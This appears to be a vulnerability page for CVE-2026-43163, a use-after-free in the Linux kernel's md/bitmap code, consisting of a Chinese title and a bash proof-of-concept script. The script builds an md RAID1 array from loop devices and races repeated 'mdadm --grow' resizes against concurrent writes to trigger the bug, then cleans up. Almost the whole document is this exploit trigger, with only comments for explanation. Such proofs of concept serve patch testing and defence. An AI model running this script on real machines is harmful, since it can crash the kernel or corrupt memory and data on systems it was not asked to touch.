CVE-2026-43163 Linux内核md/bitmap释放后重用漏洞

#!/bin/bash # PoC for CVE-2026-43163: Trigger race condition in md/bitmap resize # This script attempts to trigger the UAF by resizing an md array concurrently with IO. # Requires root privileges to create md devices. # Setup: Create loop devices for testing dd if=/dev/zero of=/tmp/md0.img bs=1M count=100 dd if=/dev/zero of=/tmp/md1.img bs=1M count=100 losetup /dev/loop0 /tmp/md0.img losetup /dev/loop1 /tmp/md1.img # Create md array mdadm --create /dev/md0 --level=1 --raid-devices=2 /dev/loop0 /dev/loop1 # Function to perform resize operations resize_loop() { while true; do mdadm --grow /dev/md0 --size=max mdadm --grow /dev/md0 --size=50M done } # Function to perform IO operations (triggers bitmap write) io_loop() { while true; do dd if=/dev/urandom of=/dev/md0 bs=1M count=1 sync done } # Start background processes to trigger race resize_loop & PID_RESIZE=$! io_loop & PID_IO=$! echo "Triggering race condition (PIDs: $PID_RESIZE, $PID_IO)..." sleep 10 # Cleanup kill $PID_RESIZE $PID_IO mdadm --stop /dev/md0 losetup -d /dev/loop0 /dev/loop1 rm /tmp/md0.img /tmp/md1.img